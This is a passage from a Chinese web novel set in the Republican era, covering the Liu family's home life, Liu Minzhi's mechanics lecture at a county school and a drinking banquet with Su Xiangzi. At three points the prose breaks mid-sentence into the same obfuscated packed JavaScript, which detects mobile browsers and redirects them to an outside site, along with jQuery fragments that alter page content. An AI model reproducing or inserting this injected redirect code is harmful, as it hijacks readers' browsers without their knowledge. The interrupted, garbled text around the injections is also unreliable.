玛丽女士不作声，将壁沿一弯残水泼出，提桶走了。 刘珉之失笑，也起身离开。 一个穿西装的男人与他擦肩而过，刘珉之瞧他眼熟，多看了两眼。 男人朝他一笑。 “你好。” “你好。” 刘珉之握住他递过来的手。 “怎么称呼？我是马竭。” “刘珉之。” “来一根？” “我不抽烟。” 马竭收回烟盒，自己抽出一根叼在嘴里。 “马先生，在教堂抽烟不好。” “哦，对。” 他将烟别在耳后。 "刘兄受洗了吗？" “没有，我不信教。” 马竭奇怪地看他一眼：“那你来教堂做什么？” 刘珉之随口道：“只是喜欢这里的氛围，让人很平静。” 马竭无意识地拿起耳边的烟摆弄。 刘珉之这才认出他是那日的醉汉，他没喝醉，看起来很正常，甚至算的上衣冠楚楚。 男人咬着香烟的滤嘴，深吸一口气。 “刘兄，听小弟一句劝，反正你不讨厌这里，入个西洋教没坏处。” “怎么说？” 马竭手背往他胸口一打：“多个选择多条路呗，还能是什么？” 刘珉之觉得好笑：“我认为没有这个必要。” 马竭极自然地勾上他的肩膀，语气轻佻：“时代不一样了，不要这么死脑筋。” 刘珉之无意再聊。 “我要走了。” 马竭在身后大喊：“我就住在鼓楼东大街17号，刘兄有什么事都可以来找我。” 刘珉之并不准备记住这个地址。 12. 家事 时节正好，庄子里的人送了新鲜野菜。刘伯参爱吃这个，样样吩咐了怎么做，哪个油炸哪个凉拌，哪个多放醋哪个只抓一点盐沫子，王桂英一一记下，盯着厨房忙活一下午，折腾出一大桌素菜。 刘伯参刚刚病愈，嘴巴大胃口小，一道菜吃一口便饱了。 刘珉之也跟着放下筷子，倒是人高马大的刘琼越不挑食，又添了一碗饭。 他最后一个放下筷子，飨足地舒一口气：“还是家里的饭好吃。” 刘母心疼坏了：“你都多久没吃顿安生饭了，悠着点，仔细胃疼。” 他大笑：“娘，我才三十岁，哪那么娇气。” 丫鬟用温湿的帕子裹住刘伯参的手，细细将每个指头搓干净。帕子拿开，手转瞬就干冷了。刘伯参眯着眼睛看自己枯木一样的手掌。 “三十岁的汉子，壮的像头牛。我那个岁数，顿顿要吃两碗干饭。” 刘母嗔他：“你就吹牛吧，你又不干力气活儿。” “怎么不干？往外头做生意，码头港口到处跑，你以为享福呢？” “好了好了，你最厉害，行了吧？” 刘伯参一串咳嗽作为回答。 刘母慌忙拍他背：“怎么了，噎着了？” “嗓子，嗓子有点痒。” 刘母紧张：“是不是齁着了？我就说那个藠头做咸了。” 王桂英尴尬地捏着帕子：“我怕不入味，早腌了半个时辰。” “都说了让崔婶她们按老法子弄，你就是事事都要看着管着，管过了也不好的。你瞧是不是，盐都渍进去了。” 王桂英乖巧认错。 刘伯参捧了热水，皱着眉小口往下咽。 “得了，我吩咐她弄的，女人家不就是忙活这些事的吗。” “是，怕了你了，你说话永远有理儿。” “不过，有人管总比没人管强，”老太太转了口风，转到大儿子身上，“你就是缺个女人管你。” 刘琼越无奈：“怎么又说到我了。” 老太太来劲儿了：“你也老大不小了，总不填房不是个事儿，别以为我不知道你在外头养女人，既然喜欢就领回家里来。” “是这个理儿，”刘伯参应和，“咱也不在乎姑娘是啥模样，进咱们家踏踏实实过日子就成。” 这可不一定。 刘珉之见过大哥那几位外室，真舞到刘伯参面前，他一定会破口大骂什么妖妖道道。 饭菜早已撤了，重新摆上茶水，王桂英哄着婆婆吃了一盏。 刘琼越盯着茶叶沫子看，不知想起什么，忽然笑出声。 “你们不嫌弃人家，人家还不想进咱们家的门呢。” 老太太和刘伯参对视一眼：“这话什么意思？” “时代不一样了，现在的年轻姑娘最不喜欢咱们这种老派家庭，规矩多，不自由，不乐意嫁过来做受气媳妇。” “这是什么话？”刘伯参愤愤，“没个正形儿。” 老太太也满脸不情愿：“在哪家做媳妇不是一样的？那洋人结婚不也是一家子人过日子？” “所以现在姑娘都不乐意结婚了，结婚有什么好的，还耽误谈恋爱。” 两位老人头回听这惊世骇俗之言，被震的说不出话。 刘琼越朝刘珉之挤眉弄眼，试图祸水东引：“小弟肯定懂我，是不是？” 刘珉之还来不及说话，刘伯参大喊：“你别带坏你弟弟！” 他喘着粗气骂了几句，累了，就停下来。 刘琼越左耳进右耳出，抖开报纸看新闻。 老太太嫌他不听父亲训话，心里不舒坦，话到嘴边说出来却是关切的。 “难得在家里休息，别看报了，晚上看字眼睛疼。” 刘琼越将报纸面朝她抖开，一整面头版新闻，加粗标题是“全国团结一致，共御外侮之基础奠定”。 “看大事呢，我能休沐全靠他们。两广那边的战提前打完了，万幸，蒋校长位子坐的稳，我们军务部才有安生日子过。” 老太太听不懂这其中的关联，只知道他忙，小声嘟囔：“我当初就该拦着你进军务部。” 刘伯参闭着眼睛参与话题，这世道，人人都爱聊国事。 “同盟会那帮人可真能折腾，日本人都到跟前了，还在自己人打自己人。” 刘珉之深以为然，嘲讽道:“他们在南京可不怕，日本人又打不过长江去。” 刘伯眼珠子不转了，警惕地盯着小儿子。 “你可别想跑南边儿去，我告诉你，那边更乱。” 刘珉之苦笑：“爹，您这是想到哪出了?” “孩子大了留不住，我能不操心吗？” 刘琼越帮弟弟说话：“小弟在军工部呆的挺踏实，再熬两个月，我提他当主任，在漳县哪里都混的开。小弟是最稳重不过的人了——弟妹，你说是不是？” 王桂英眨眨眼睛，轻轻点头。 刘伯参哼了一声。 “我老的快死了，连个孙子都抱不上，可不是只能操心你们两个？” 提起孙子这茬儿，两人俱不敢说话。一家人又闲聊几句，各自回房。 夜色蓦然深了，王桂英盯着下人做完今天的事。 东厢房亮着莹白的灯，王桂英轻手轻脚推开门。 这些日子，她已摸清刘珉之的脾气，不是个多事儿的，她便吩咐小葱不用守夜，晚上回自个儿屋里睡觉。 屋里屋外只有她和刘珉之二人。 今天晚上，公公又提起孩子的事…… 王桂英胡思乱想着关上门，一愣。 刘珉之还没睡觉，坐在电灯底下看书，一动不动，极专注的。 她倒一杯温水，放在案上。 “你回来了。” 刘珉之揉揉眼睛，看一眼腕上的小羊皮表。 “这么晚了，我去书房看吧。” “不用，”王桂英顿了顿，补充道，“别吵到爹休息。” 书房挨着刘伯参的正房，刘伯参觉浅，以前乐意监视儿子用功，隔壁灯亮的越晚越高兴，如今年纪大了，畏光，蜡烛都恨不得罩两层灯罩。 “那你先休息，睡不着我就关灯。” “没事，现在还早，我也睡不着。” 这话就是骗人了，王桂英睡得早起的也早，而且睡眠奇好，沾床就着。 不过，她乐意迁就刘珉之，刘珉之也领情。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501955|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我再看半个时辰，半个时辰就关灯。” “嗯。” 她想和他说话，想问他为什么突然看书，想问他为什么回家越来越晚，想问他为什么就是不愿意和自己要孩子。 见她还站在原地，刘珉之边翻书边问：“怎么了？” “没什么。” 下意识回答完，王桂英懊悔地咬了咬舌头。 刘珉之抬眼看她。 王桂英话在肚子里转了一圈，眼睛也跟着转了一圈。 ”你怎么还在戴这块表，都破了。” 刘珉之转转表带，他手腕不粗不细，皮肉白，因常年读书写字，没有太多肌肉，微微用力，筋腱便刺破皮肤紧绷出来。 他手生的好看，戴贵气的表相得益彰，戴便宜的表效果也不差。 “戴习惯了。” 他说的轻淡，手却一直在腕上摩挲。 他不想搭理自己。 王桂英想。 她走到另一边的梳妆台坐下，悄悄看他。 他看的书都是洋文，还有一堆复杂的图案，她是断然看不懂的。 磨磨蹭蹭换完衣裳擦完脸，半个时辰还没有结束，刘珉之姿势都没变，十分认真。 她从柜子最底下翻出绣花料子，做好的话是一个小荷包，图案是描上去的，简简单单两朵牡丹。 就这么两朵小花她绣了近半年，花蕊还没有成形。 绷圈太紧，她用的是老式绣圈，正反两个圆圈将布料卡住，为箍的紧，两个圈差不多大小，要用劲儿往里塞。 好像现在有种新的绷圈，是用螺丝拧的，不必费这么大劲。 “嘣！” 两个绷圈挤压弹飞脱手。 王桂英慌忙去看刘珉之，他翻书的手顿了一下，继续往下翻。 还好没吵到他。 王桂英松口气，又隐隐有些失望。 她从小就不是做女工的料，小时候王家还没失势，王鸿也有些余力培养她。 他对女儿的要求很传统，书是不必读的，但要认识字——管家的人，账本拜帖都要看，家里的书房也要懂得如何整理。字写的好不好倒无所谓，那些活计是男人做的。 至于女工，是一定要会的。就算现在国内纺织厂开了不少，衣服布料便宜的很，女人很难再通过纺布刺绣赚钱，而妇女开的廉价裁缝铺到处都是，衣裳破了，也不必在家里缝补。 但女人哪有不做针线活的？ 王鸿没少为这事骂她，说她不是享福的主儿，就是个干力气活儿的劳碌命。 谁成想这话成真了。 后来他们一家在回到乡下，为维持生计，人人都下地干活，挑水播种，除草施肥，到秋天一整天佝着腰在地里割麦子。 王鸿做的还不如年幼的她，没多久就累的病倒下。 之后的日子，就更难熬了。 “你在绣什么？” 王桂英一惊，从回忆里缓过神。 刘珉之俯身看她手里的刺绣，微长的头发压到她额头。 “瞧你绣的这么认真，我还以为多漂亮呢，原来是在逗自己玩儿。” 是揶揄的口吻。 王桂英噗呲笑出声来。 13. 第一定律 华新国民中学的大讲堂坐满学子，人数太多，实木的笨重长桌撤下，只留下紧挨着摆的一排排长凳。 哪个年代的学生都一个样，青壮血盛的年纪，被压在屋里读书，一身筋骨施展不开的憋屈，全泄在自个儿座位这一小方天地。 叽叽喳喳聊最新的电影，县里的烧肉铺子，催人还昨天借出的一块钱法币，预约传抄还没动笔的作业。不知哪个讲的上头，嗓门越来越大，聊着聊着就变成吵，吵着吵着就动起手，不一会儿几个学生凑在一起闹打上，红木的板凳失了重心，一头高高翘起，将那边坐的学生摔个狗啃泥。 “哎哟！” 平白吃亏的学生自然不干，撸起袖子加入战场。闹的大了，讲堂像密集养殖的牲畜场——一片鸡飞狗跳。 今儿个不是他们的主场，来旁听的教师乐的袖手旁观。 陪刘珉之进来的苏学章喊了几声肃静，没人听，抓起讲台的戒尺狠拍几下。这戒尺的声音惊、脆、响，像拍在皮肉上，对学生很有几分杀伤力。 学生退潮似的各回各位，在凳子上坐好。 当然，还是有小动作，但动静轻的可以叫校长假装看不见了。 因尊师重道，教师坐第一排。 刘珉之打眼看去，一溜的长袍马褂，间或几个穿西装的，女教师只有两位，都很眼生。 他收回目光。 苏学章清清嗓子。 “先生们，同学们，很荣幸今天请到了在漳县军工部任职的刘珉之刘先生，刘先生毕业于法国综合理工学院的机械工程专业，现在为我们讲授力学工程课，大家鼓掌欢迎。” 掌声还算热烈。 其实苏学章请过不少官员来讲课，学生们早见怪不怪。而教师对陌生的课程总有些许排斥，怕自己和学生一起从头学，若不如学生懂，会露教书育人的怯。 他们肯给这个面子，多是被洋学校的名号唬住了。 毕竟这个年代，外国的东西总比国内的好。 “刘先生。” 一个公鸭嗓的男学生坐着提问，他正值变声期，声音很有攻击性。 “您从国外回来，如今做什么官？” 苏学章瞪他，白胖的面颊都鼓了起来。 “你是哪个年级的？这么没规矩，和先生说话要先请示，然后站起来说，这么基本的道理都不懂么？” 男学生懒洋洋站起来。 “提问，刘先生如今做什么官?” 台下睽睽之目，或好整以暇，或面带挑衅，显然，不是只有一个人关注这个问题。 苏学章声音冷下来。 “你们是来学知识的，不是来攀高枝的，坐下听课。” 男学生撇嘴，不情愿地坐下。 苏学章歉意地朝他拱拱手，让出讲台的中心位置：“刘先生，请。” 刘珉之鞠躬回礼，信步上前。 “今天能站在这里，和各位学生共同探讨交流，我感到非常高兴。” 他的声音不疾不徐，清朗有力，和平时说话的温和模样有些不同，似在刻意宣张一种威严感。 忽的，他拐了个弯。 “要知道，在我小时候，漳县只有私塾可读。” “提问。” 学生举手。 “漳县国民中学1915年就成立了，私塾也已废除多年。刘先生，您没有那么老吧？” “不错。” 刘珉之朝她笑笑，示意她坐下。 “北洋时期确立了新式学制，漳县也与时俱进，宣布废除私塾，开设新中学。” “但北洋时期穷兵黩武，无力支持教育长期发展。虽定下了课程校令，但毕业后的文官考试内容模糊，地方学校一头雾水，还是参照旧时科举的题目授课。” “虽叫新学校，实则是老私塾换了新壳子。” 他这话虽有捧新踩旧之嫌，但还算有理有据，几位在私塾教过课的老先生听得摇头晃脑。 学生提问：“刘先生，后来呢？” “后来——” 刘珉之拖长了调子，几个本低着头的学生抬头看他。 “民国一十六年，国民□□u大学部改为教育部，又颁布了《中学法》和《中学规程》，还明确规定省税的30％用于教育。” “之后推行各省市中等教育改进计划，发展国语教育和公民训练，采用审定教科书，增设各科目课程。” “同学们今天能坐在这里听课，是无数人协力争取的结果。” 这话大部分学生是头一次听，纷纷交头接耳。 刘珉之适时停顿一阵子，慢悠悠开口。 “他们这样做。” 有一半学生都抬头看他。 “是因为我们如今比洋人差的太远，仅靠一代人难以追赶差距，于是寄希望于下一代人，也就是你们，能比上一代人更强。” “苏校长同样相信你们的力量，所以放弃了北京的官位，来到这小小的漳县，做起教育事业。” 他和坐在第一排正中的苏学章对视一眼，对方笑着点点头。 “最后，我想提一个问题，谁都可以回答。” 刘珉之四下扫过，台下翘首以待，俱是年轻的头颅。 “有谁知道黄埔军校门口,那副大名鼎鼎的对联，写的是什么?” 台下鸦雀无声。 苏学章点兵点将。 “谢觉梅，你是学生代表，你来回答先生的问题。” 一个丹凤眼短头发的女学生站起来，冷静而流利地念出答案。 “升官发财请往他处，贪生畏死勿入斯门。” “很好，一字不差。” 刘珉之带头鼓掌，众学生也跟着热烈鼓掌，谢觉梅不太习惯，僵着颈背坐下。 氛围正好，刘珉之切回主题。 “开场词就讲到这里，接下来我们讲力学的第一定律。” 这个年纪的学生颇有种不服天地的傲气，你越逼着他服谁他越不服，可若是他们发现你有真东西，打心眼里认可你，便什么事都好办了。 一个时辰的课满满当当讲完，前排的教师们挨个起身致意，与刘珉之说几句客套话离开讲堂。 学生们散了课，却还没走，围着朝刘珉之问问题。 都是力学相关的问题，可见认真听了，刘珉之很欣慰，一一作答。 学生代表谢觉梅问的问题很有见解，刘珉之细细讲来，把她的问题讲透，余下学生也都通了。 “刘先生。” 好有辨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501956|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识度的公鸭嗓，是开场问他做什么官的那个男学生。 他身体前倾，挤着人群趴靠在讲台上。 “您在军工部当值，应该经常摸枪吧？” 刘珉之笑笑。 “军工部管军火军械，枪支自然是最重要的。只是我们军士众多，武器却严重不足，工厂的枪支刚刚运到仓库，便马上发给还没配枪的战士了。” 公鸭嗓追问：“刘先生，枪您造的吗？” 刘珉之哭笑不得。 “若是我一个人就能造枪，蒋校长早把我绑到前线做军需部长了。” 学生们哈哈大笑，一向冷淡的谢觉梅也忍俊不禁。 公鸭嗓叹了口气，很是失望：“我还以为您能教我们造枪呢，我父亲常在家里骂，就为找美国人和俄国人要那几杆枪，白受他们那么多鸟气。” 刘珉之摸摸他的头。 “枪械制造其实不难，难得是标准化、规模化。若你们真有兴趣，我下回来讲这个。” “好啊好啊！” "刘先生一定还要来！" “好，一定来。” 得了允，学生们纷纷散了。 那公鸭嗓的男学生被叫先生叫走训话，谢觉梅指挥其他人搬桌子，将讲堂恢复原样。 结束了。 刘珉之重敛心神，走出讲堂。 “刘先生。” 刘珉之一颤，和来人对上目光。 她今日穿的是一身黑白裙装，上衣是旧式斜襟的扣子，腰身宽大，反叫人显得更加纤细，黑色的长裙一直遮到脚踝，只露出一点鞋跟。 浅棕色长发一丝不苟扎在脑后，颅骨圆润、饱满，额头方窄，脸颊短小，显得有些幼态，倒像位女学生。 “苏老师，又见面了。” 苏湘子眯起好看的浅棕色眼睛，和他手掌相握。 两人虎□□碰到一起，又慢慢抽离。 “我还以为苏老师今日休沐，无缘得见了。” 她笑了笑，没回答。 “家父请先生们一起用晚餐，刘先生可一定要赏脸。” 刘珉之手按在胸口，微微弯腰。 “恭敬不如从命。” 路过的学生们好奇地打量他们两个，苏湘子带头离开。 “晚上定在学校旁边的徽菜馆子吃饭，我带刘先生认认路。” “多谢苏老师。” 两人并肩走着，中间隔着一个人的距离，刘珉之生的高，能看到苏湘子浅棕色的头顶。 “苏老师好。” “苏老师好。” 苏湘子矜持地点头，她人气高，同她问好的学生太多。 “苏老师好，苏老师今天也很漂亮。” 不等苏湘子训斥，调皮的男学生泥鳅似的从她与刘珉之间穿过。 刘珉之一愣。 苏湘子轻笑，朝他挨近一些，和他的肩膀只隔着一个拳头的距离，刘珉之似乎闻到她头顶发油的味道。 清新甜美的茉莉香。 穿过人流，来到空旷的操场，茉莉的香气飘荡着散了，若有若无，像随着心意臆想出来的。 “刘先生课讲的真好。” 刘珉之挑眉。 “苏老师怎么知道？” 14. 说错话 “我刚才有听刘先生讲课。” 刘珉之起了玩心：“苏小姐不在前头和教师们一起听课，却在暗处悄悄看我。” “才不是，”苏湘子嗔道，“只是来晚了，不好打扰大家，才从后门进去的。” “这倒要多谢苏老师体谅。我讲的力学课这般无聊，稍有一点动静——比方有只小鸟经过，学生都要走神去看的。” 苏湘子掩嘴笑。 "那我下回偏要正大光明从前门进去，替你瞧瞧学生们听课认不认真。" “这可万万使不得，若是苏老师闯进来，别说学生，我的心思也不会在书本上。” 苏湘子止了步伐，挑衅地看他。 “那刘先生的心思会在哪里呢？” “自然……” 刘珉之深思着拖长语调，俊逸的眉头苦恼地皱起。 “自然是在学生们身上，他们乱了套，我可要遭苏校长的训。” 苏湘子噗呲笑出声。 “那我替你向父亲求情，请他法外开恩，饶你一命。” “若真如此，”刘珉之佯作欣喜，“我可要提前感谢苏老师救命之恩了。” 苏湘子背着手，煞有介事地应了。 沉默一会儿，他们同时大笑。 笑过了，看对方的容颜似乎有所变化。 更生动、更漂亮。 “我还以为今日遇不见苏老师了。” “瞧你这话说的，倒像是专程来见我的。” 刘珉之刻意不答话，笑着看她。 气氛刻意暧昧起来，苏湘子偏不遂他的愿，转了话题。 “刘先生课讲的这样好，不愧是法国回来的高材生。” “苏老师见多识广，我还怕入不了苏老师的耳朵。” 苏湘子挑眉：“你怎知我见多识广？” “苏校长的千金，自然是不会差的。听说苏老师是在北京读的大学，不知是哪所学校？” 苏湘子笑容忽然冷下来，转身往前跑。 新中学校内遍植阴香，这种植物古板、笨拙，花果极小，但枝叶繁茂，可以一直盛绿到秋冬。 她的脚步轻快，跑着跑着停下来，小步跳跃。 刘珉之不明所以地追上她。 她闭着眼，深深吸进一口气。 刘珉之忐忑地在她身边站定。 “我说错话了吗？” 苏湘子尖利道：“没有！” 刘珉之这下真的慌了，苏湘子大口大口喘着气，瘦弱的胸膛像引火的鼓风机，一呼一吸地吹颤。 “是不是哪里不舒服？我去叫医生。” “不用。” 苏湘子咬着牙缝蹦出来两个字，痛苦地抱头蹲下。 “马上就好了，马上就好了……” 刘珉之举棋不定，苏湘子努力调整呼吸，声音越来越平缓，几分钟后，她若无其事地站起来。 “抱歉，让刘先生见笑了。” 她又挂上那副清清淡淡的微笑，微微下垂的浅棕色眼睛却冷淡疏离，拒人于千里之外。 刘珉之很失望，不知是哪里出了问题。 “真的没问题吗？我很担心你。” “真没事，”苏湘子的笑容多了两分真心，蓦的，在胸前画了个十字，“还好有真主保佑。” 晚上的徽菜馆子很热闹，除新中学十几位老师，军工部的几位同僚也来了。课虽是刘珉之一人讲的，但挂的是军工部的牌子，说出去就是军校协作。 方主任喝了酒，多了几分惯常没有的豪气。 “学校就得苏校长这样的人来办！你们瞧瞧这两年，新中学办的多好、多热闹，省里头的报纸都在夸呢！” 苏学章酒量浅，才喝两口，面上就泛红。 他摆摆圆胖的手掌，谦逊道：“不敢不敢，都是各位领导栽培，新中学才刚刚有些起色。” 方主任用食指点他：“太、太谦虚，来喝酒！” 苏学章又挨个陪一圈，面盘已全红了。 “家父不胜酒力，我来代他喝。” 方主任奇怪看来，但见苏湘子瘦瘦小小，长相漂亮，却讲出挡酒这种豪言壮语，大笑出声。 “苏小姐这是要做酒场花木兰？苏小姐一片孝心，可我怕人家说我欺负小姑娘。” 苏湘子淡笑，举起酒杯。 “请。” 言罢一仰而尽，将酒杯倒转，表示自己喝完了。 军工部的同僚大为稀奇：“苏小姐厉害啊。” 方主任举杯：“苏小姐巾帼不让须眉，是我有眼无珠，来，敬苏小姐一杯。” “不敢。” 苏小姐站起来，杯沿矮放与他相碰，只一口闷在嘴里，片刻咽了。 “好啊，好！” “不愧是苏校长的千金，豪气干云啊！” 军工的人挨个敬了一圈酒，只剩下刘珉之。 方主任嗓子已干了，大喊：“珉之，你也敬苏小姐一杯。” 刘珉之为难：“方主任，你知道，我是最喝不得酒的。” “知道你酒量不好，可苏小姐这一杯还是要喝的。” 苏湘子面庞微红，神态还算自若，瞧不出醉的痕迹，只是那双漂亮的浅棕色眼睛，已含了一汪秋水。 她握着酒杯，水光潋滟地看刘珉之。 刘珉之站起来，举起小小的白瓷杯盏。 酒局自有好事者倒酒，次次满到杯口，稍一晃便溢出来。 苏湘子和他隔空碰杯，纤白的两个指头捏住杯口，酒液湿湿哒哒黏在手上。她神志清晰，举止得体，但烈酒的味道凑到跟前，还是不着痕迹皱了皱鼻子。 “不行，真不行。” 刘珉之突然讨饶。 “这酒劲儿太大了，我是一口也喝不下了。” 苏湘子奇怪地瞧他一眼，抿唇坐下，将酒盏沿边放了，在桌子底下用手绢揩指头。 “哈哈哈哈哈。” “珉之做事情是极好的，喝酒可不如别人。” 方主任也调笑他：“知道珉之是我们军工部的酒篓子，没想到连女孩子都喝不过。” 刘珉之顺着他们的话说：“方主任他们喝酒是越醇越喜欢，我不行，度数一高，闻着就发晕。” 众人俱笑了，苏学章已缓过来些，也加入话题。 “我也不行，年轻那时候就喝不了酒，后来年纪大了，勉强练出来些。” 一个大舌头的男人嚎着嗓子道：“苏校长，不，不行啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501957|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不喝酒，哪能干事业。” 方主任即刻呵斥他：“说什么呢！你才喝几杯就醉了，敢说苏校长的事业？苏校长的事业比你强到天上去！” 那男人讪讪，酒已醒了大半。 苏学章摆摆手示意无妨，又叹了口气：“其实，也是这个理儿，刘先生还年轻，偶尔喝一喝，练练酒量还来得及。” 刘珉之唏嘘：“再怎么练也不如方主任他们这种天生海量的。” 方主任大笑。 “珉之惯会偷懒，一上酒桌便开始说自己不行，他也是奇了，哪有男人上赶着说自己不行的？” 众人揶揄地笑。 在场几位女老师都很年轻，难受地皱眉头。 刘珉之不好说话，有位长脸型的女老师替他反驳：“要我说，敢承认自己不行的男人才有本事呢。” 方主任啧啧称奇。 “是了，现在有本事的女人多，尤其各位女教师，都很能干，你们几位对我们男人的意见很值得采纳呀。” 几个男人开始不爽，嫌在场就几位女性，却使他们不能敞开了说话。 “还是你们女人珍贵，我们说话，方主任可从不采纳。” “去去去，胆子大了，敢编排我了。” 方主任嬉笑着坐下。 苏湘子喝完酒任务便完成了，她吃不下东西，只安静呆着，可作为酒局里难得的女性，还是位漂亮女性，她是逃不掉成为话题中心的。 “早听说苏校长家中有位才女，今日一见，名不虚传哪。” 苏学章自然低调作答：“谈不上什么才女，不过时代好，多读了几年书。” “这还不叫才女？书读的好，课也教的好，我侄子说新中学里属苏小姐的人气最高呢。” “学生说着玩儿的。” “那也是苏老师自己有本事。” “不过真论起来，学生有几个真懂学问的？但看苏小姐人生的漂亮，便断定学问不会差。” 刘珉之突然开口：“我倒真听过苏小姐讲课，苏小姐英文教的极好，比国外的老师也不差。” 苏湘子顿住，抬眼瞥他，见他正看自己，又扭过头。 “哟，珉之还听过苏老师讲课？” 苏学章忙道：“是我请刘先生来的，那时刘先生刚从法国回来。” 提起这个，方主任不满。 “珉之瞒的我们好苦，要不是他要来新中学讲课，我都不知道他是刘家的高材生。珉之，何必口风这么紧？就算知道你是刘部长的弟弟，我们也敢亲近你的。” 刘珉之赶紧赔罪，硬灌了两盏酒。 话题又拐到他身上，众人轮流吹捧一番，虽不免有几个阴阳怪气，但还算克制。 “刘家真是门楣显赫，哥哥在军务部做部长，弟弟也是大才子，是什么，法国综合理工学院是不是？” “是。” “听说是法国工程专业最好的学校呢。” “会读书的人最厉害了。虽说现在不考功名了，但读了书还是更好升迁。” 方主任突然想到什么，又转向苏湘子。 “我听说苏小姐也是高材生，是在北京女子大学念书的，是不是？” 刘珉之心理咯噔一声。 15. 过往 刘珉之恨不能捂住方主任的嘴，让他把话咽回去。 今日他本和苏湘子聊的好好的，问及她的学校，却忽然犯了忌讳，搞得两人不欢而散。刘珉之不知缘由，只不敢再提这事。 偏方主任又讲出来了。 刘珉之很担忧。 苏湘子眼眸低垂，看不清神色，也没什么反应。 苏学章替她回答：“是，北京女子大学。” “哎呀呀，了不得呀，民国最好的女子大学。” “许多将军夫人都是这所学校的呢。” “怪不得我听这学校耳熟，冯将军的夫人就是这里毕业的。” 聊起上级，众人兴致昂然，又探讨起冯将军的家事。据说冯将军不喜欢乡下没见识的原配，就娶了这位新太太，结果新太太本事太大经常干政，他又不喜欢了，在外头纳了几房小妾。 “不止有将军夫人。” 苏湘子声音不大，却很坚定。 “什么？” 众人聊的火热，还以为她有什么新的八卦消息。 “女子学院不止出将军夫人，也出了很多革命者。” 气氛冷下来。 方主任有心搭话，乜斜着眼睛想了半天，以他的见识，实在想不出哪位女革命者是女子学院的。 谁会去关心女革命者呢？ 又不是自己的上级。 刘珉之慢吞吞道：“我今天上课也提到革命呢。” 方主任笑了：“你讲的不是力学课，怎么能和革命扯上关系？” 苏学章有不同看法：“刘先生大道归宗嘛，学什么不都是为报效祖国。” 那位长脸型的女教师很捧他的场：“是了，刘先生课上提问黄埔军校门前对联写着什么，是咱们的学生代表答上来的，正是位女学生。” “这有什么难的？那副对联大名鼎鼎，谁不知道？” 刘珉之好笑道：“那你说，写的是什么？” 那男人摇头晃头，和着酒气飘逸朗诵：“升官发财请往他处，贪生畏死——” 众同僚齐接话：“勿入斯门！” 场上人俱笑了，纷纷碰杯。 “还有横批呢，”话既正经了，方主任拍桌而起，壮怀激烈，“革命者来！” “好！” 众人又鼓掌吹嘘。 接下来便是灌酒环节，刘珉之拒绝的还算坚定，也喝了十来杯。等散场，天灵盖直冒白烟。 “再上，再上两瓶！” “方主任，真不能喝了，酒店也该打烊了。” 方主任咂咂嘴，不爽道：“刚刚过瘾呐。” “下回咱们再喝，我定个过夜的场子，喝个痛快。” “哈哈哈哈，”方主任大力拍讲话人的肩膀，“你说的？” “我说的！” 酒店楼下就有等客的人力车，苏学章只喝了两轮，眼神迷蒙地站在包厢门口，和客人挨个道别。 刘珉之站起来才发现腿软的厉害，一步三颤，下台阶时怯怯扶着墙，还是险些跌跤，幸被身边人抱住了。 “珉之，你是真不行啊。” 刘珉之张嘴，还没说话，嗓子眼直往外涌酸水。 “诶诶诶！别吐我身上！” 刘珉之鼓着腮帮子，踉跄摔到室外。 晚间凉风一吹，神思复回笼了，几位教师先上了人力车，往四周散去。 “珉之，走了。” 刘珉之弓着腰，手撑在膝盖上，有气无力地冲同僚扬手。 “哈哈哈哈，那我们先走了。” 刘珉之虚弱地点头。 人声渐弱了，他忽闻到一股幽淡的茉莉香，接着，才是短跟皮靴轻巧的踏击声。 刘珉之将散开的领带扶正，站直身体。 “苏小——呕！” 刘珉之拼命捂住嘴。 苏湘子笑了，递过来一条闪珠光的白手帕：“擦擦吧。” 刘珉之接了。 柔软的蚕丝料子，边角一朵小巧的刺绣茉莉。 “真漂亮，你自己绣的？” 苏湘子嗤笑：“怎么会？洋货行买的，一块钱五条，我买了很多。” “哦。” 她这样的新派女人是瞧不上女工的，嫌耽误时间，不如看会儿杂志、听会儿收音机。 刘珉之讪讪，将绢子捏在手里，不舍得用。 苏湘子弯起眼睛：“你怎么醉成这个样子？傻乎乎的。” 刘珉之脑袋昏沉，思维时断时续，怕说错话她不开心，干脆不说。 苏湘子便站在旁边，陪他吹了会儿风。 “今天，不好意思。” 她的声音很轻，像她身上的茉莉香气，刘珉之根本无法忽略。 “没什么。” 苏湘子又笑了。 "我都没说是哪件事，你果然在心里怪我。" “哪件事都没关系。” 苏湘子沉默。 良久，她开始讲自己的故事。 “我在女子大学的时候，经常跟女同学们参加游行，你在国外不知道，北京的学生最时兴这个。” 刘珉之其实知道，法国的抗战爱国学生组织也很活跃，但他没说出来，只安静听着。 